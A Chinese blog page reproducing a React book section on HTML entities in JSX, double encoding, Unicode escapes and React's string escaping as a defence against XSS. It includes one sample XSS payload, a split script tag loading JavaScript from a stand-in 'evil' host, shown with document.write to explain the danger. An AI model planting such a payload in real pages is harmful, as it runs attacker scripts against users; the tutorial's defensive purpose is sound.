赵走x博客 - 开发者的网上家园

24、HTML 实体

资源编号:76074 书籍 React快速上手开发热度：84

如果你在表达式中使用了HTML 实体，会遇到双重编码的问题。

在JSX 中可以使用HTML 实体，就像这样：
```
<h2>
More info »
</h2>
```
这个例子输出一个右指双尖引号，如图4-6 所示：

![bs64](https://img.handsomemark.com/2019/11/12/f66f01e6-04f8-11ea-b9d4-0242ac140002.png)
图4-6：在JSX 中使用HTML 实体

然而，如果你在表达式中使用了HTML 实体，会遇到双重编码的问题。比如在下面这个例子中HTML 内容会被编码，结果如图4-7 所示：
```
<h2>
{"More info »"}
</h2>
```

![bs64](https://img.handsomemark.com/2019/11/12/0790c108-04f9-11ea-8f1d-0242ac140002.png)
图4-7：双重编码的HTML 实体

为了避免双重编码的情况，可以使用Unicode 版本的HTML 实体作为代替。在这个例子中，右指双尖引号对应的编码是\u00bb（编码表参见http://dev.w3.org/html5/html-author/charref ）：
```
<h2>
{"More info \u00bb"}
</h2>
```
出于方便起见，你可以在模块顶部定义一个对应该编码的常量。在这里，我们在符号前面再添加一个空格：
```
const RAQUO = ' \u00bb';
```
然后你就可以在任何地方通过常量使用这个符号了：
```
<h2>
{"More info" + RAQUO}
</h2>
<h2>
{"More info"}{RAQUO}
</h2>
```
注意到这里使用新的const 关键字代替了var 关键字吗？借助Babel，你就可以使用JavaScript 提供的所有最新特性了。关于Babel 的具体内容将在第5章介绍。

### 防范XSS 攻击
你可能会疑惑：为什么要这样煞费周折地使用HTML 实体？一个非常重要的目的是防范XSS 攻击。

为了防范XSS 攻击，React 会对所有字符串进行转义。当你向用户请求输入某些内容而用户提供了一串恶意的字符串时，React 可以保护你免受攻击。以这种用户输入为例：
```
var firstname = 'John<scr'+'ipt src="http://evil/co.js"></scr'+'ipt>';
```
在某些情况下，你可能需要把这串字符插入DOM 节点。比如这样：
```
document.write(firstname);
```
然后灾难发生了。页面输出的内容为John，但随后的`<script> `标签却加载了一段恶意JavaScript 脚本，对你的应用和那些信任你的用户造成了安全危害。
发生这种情况时，React 可以很好地保护你的应用。如果你这样写：
```
React.render(
<h2>
Hello {firstname}!
</h2>,
document.getElementById('app')
);
```
React 将会对firstname 的内容进行转义（如图4-8 所示）。

![bs64](https://img.handsomemark.com/2019/11/12/461a57a4-04f9-11ea-90f2-0242ac140002.png)
图4-8：转义字符串